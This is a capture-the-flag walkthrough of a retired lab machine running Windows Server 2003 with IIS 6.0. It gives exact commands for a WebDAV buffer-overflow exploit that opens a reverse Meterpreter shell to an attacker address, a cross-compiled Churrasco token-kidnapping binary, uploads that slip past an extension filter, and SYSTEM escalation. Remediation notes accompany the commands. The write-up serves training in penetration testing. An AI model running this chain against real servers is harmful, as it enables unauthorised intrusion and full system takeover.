Granny
Summary
I fingerprinted an internet-exposed Windows Server 2003 host running IIS 6.0 with WebDAV enabled, then exploited a known remote-code-execution buffer overflow (CVE-2017-7269) to obtain a shell running as the low-privileged NETWORK SERVICE account. Because that account held the SeImpersonatePrivilege right and WebDAV accepted unauthenticated file uploads, I staged a Token Kidnapping binary directly onto the web root via HTTP PUT, executed it through the existing shell, and escalated to NT AUTHORITY\SYSTEM — capturing both flags on a single hop with no credentials required at any stage.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"Attack path — how the box was taken
Exact commands 3
Service version scan; confirms IIS 6.0 on port 80.
$ nmap -sV -p 80 $TARGETRaw OPTIONS probe; look for MS-Author-Via and DAV in the response — confirms WebDAV is active.
$ printf "OPTIONS / HTTP/1.1\r\nHost: $TARGET\r\n\r\n" | nc -nv -w5 $TARGET 80WebDAV PROPFIND further confirms the DAV-enabled endpoint.
$ curl -v -X PROPFIND http://$TARGET/ -H 'Depth: 0'Exact commands 1
Set LHOST to your own VPN address. The session this opens is the one every command below runs inside — they are typed at msf's prompt, not at a shell's.
$ msfconsole -q -x "use exploit/windows/iis/iis_webdav_scstoragepathfromurl; set RHOSTS $TARGET; set RPORT 80; set SSL false; set payload windows/meterpreter/reverse_tcp; set LHOST $ATTACKER_IP; set LPORT 4444; exploit"FixMigrate off Windows Server 2003 / IIS 6.0 — CVE-2017-7269 has no patchCritical
Exact commands 2
At the msf prompt. Confirm: NT AUTHORITY\NETWORK SERVICE, hostname GRANNY, OS Windows 5.2.3790 (Server 2003).
$ sessions -i 1 -c "whoami & hostname & ver"At the msf prompt. Check privilege list; SeImpersonatePrivilege = Enabled confirms Token Kidnapping (Churrasco) is viable.
$ sessions -i 1 -c "whoami /priv"Exact commands 6
Pull Churrasco source from local Exploit-DB mirror.
$ searchsploit -m windows/local/6705Extract source tree.
$ unzip -o /usr/share/exploitdb-bin-sploits/bin-sploits/6705.zip -d churrasco6705 && cd churrasco6705/ChurrascoFix Windows-style header casing that breaks the Linux cross-compiler.
$ sed -i 's/Iphlpapi.h/iphlpapi.h/g; s/TxDtc.h/txdtc.h/g; s/AccCtrl.h/accctrl.h/g; s/Aclapi.h/aclapi.h/g; s/Ntsecapi.h/ntsecapi.h/g; s/XOleHlp.h/xolehlp.h/g' stdafx.h Churrasco.cppAdd missing process-snapshot API header.
$ awk 'NR==19{print "#include <tlhelp32.h>"}1' Churrasco.cpp > Churrasco.cpp.tmp && mv Churrasco.cpp.tmp Churrasco.cppStub out broken COM initialisation call; Churrasco's impersonation path works without it.
$ perl -0777 -i -pe 's/BOOL InvokeMSDTC\(\)\{.*?\n\}/BOOL InvokeMSDTC(){ return 1; }/s' Churrasco.cppCross-compile as 32-bit static binary for Windows Server 2003 x86.
$ i686-w64-mingw32-g++ -O2 -static -o /tmp/churrasco.exe Churrasco.cpp -lole32 -loleaut32 -lws2_32 -liphlpapi -lpsapi -lntdllExact commands 4
Remove any stale copy from a prior run.
$ curl -sS -X DELETE http://$TARGET/ch.exe --max-time 10 >/dev/null || trueRemove stale staging file.
$ curl -sS -X DELETE http://$TARGET/ch.exe.txt --max-time 10 >/dev/null || trueUpload binary under .txt extension to bypass extension filter; expect HTTP 201 Created.
$ curl -sS -T /tmp/churrasco.exe http://$TARGET/ch.exe.txt --max-time 20 -i | sed -n '1,8p'Rename staging file to .exe via WebDAV MOVE; expect HTTP 201.
$ curl -sS -X MOVE -H "Destination: http://$TARGET/ch.exe" http://$TARGET/ch.exe.txt --max-time 20 -i | sed -n '1,8p'FixRequire authentication for all WebDAV write operationsCritical
Exact commands 2
At the msf prompt. The full path, because the session's working directory is not the web root. Expect nt authority\system.
$ sessions -i 1 -c "C:\Inetpub\wwwroot\ch.exe \"cmd /c whoami\""At the msf prompt. SYSTEM's privilege list, which is every privilege the box has.
$ sessions -i 1 -c "C:\Inetpub\wwwroot\ch.exe \"cmd /c whoami /priv\""FixRemove SeImpersonatePrivilege from IIS service accountsHigh
Exact commands 3
At the msf prompt. Where the flags are, in a form that needs no quoting.
$ sessions -i 1 -c "C:\Inetpub\wwwroot\ch.exe \"cmd /c dir /s /b C:\DOCUME~1\*\Desktop\*.txt\""-> <user.txt>
$ sessions -i 1 -c "C:\Inetpub\wwwroot\ch.exe \"cmd /c type C:\DOCUME~1\Lakis\Desktop\user.txt\""The Administrator profile under its own short name -> <root.txt>
$ sessions -i 1 -c "C:\Inetpub\wwwroot\ch.exe \"cmd /c type C:\DOCUME~1\Admini~1\Desktop\root.txt\""Attack patterns used
The transferable techniques behind this compromise.
Public Exploit / Metasploit ModuleService RCET1210
What it is
Many footholds come from matching a fingerprinted service/version to a public exploit and firing a vetted Metasploit module. The disciplined flow is: confirm the version, run the module's check to validate exploitability, set LHOST/LPORT, then exploit — yielding a Meterpreter/command session in the service's context.
Why it works
Unpatched, internet-known vulnerable software is the root cause; the module just operationalizes published research. Remediate with timely patching, version hygiene, and reducing exposed service surface.
Read more
SeImpersonate Abuse (Token Impersonation)Windows · Privilege EscalationT1134.001
What it is
Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. Coerce a SYSTEM process into authenticating to an endpoint you control — a COM service, an RPC interface, a named pipe — then impersonate the SYSTEM token it presents, escalating from the service account to NT AUTHORITY\SYSTEM. Churrasco (Token Kidnapping) does this against RPCSS and MSDTC on Server 2003; the 'Potato' family (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) are the modern tools for the same privilege on later Windows.
Why it works
Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.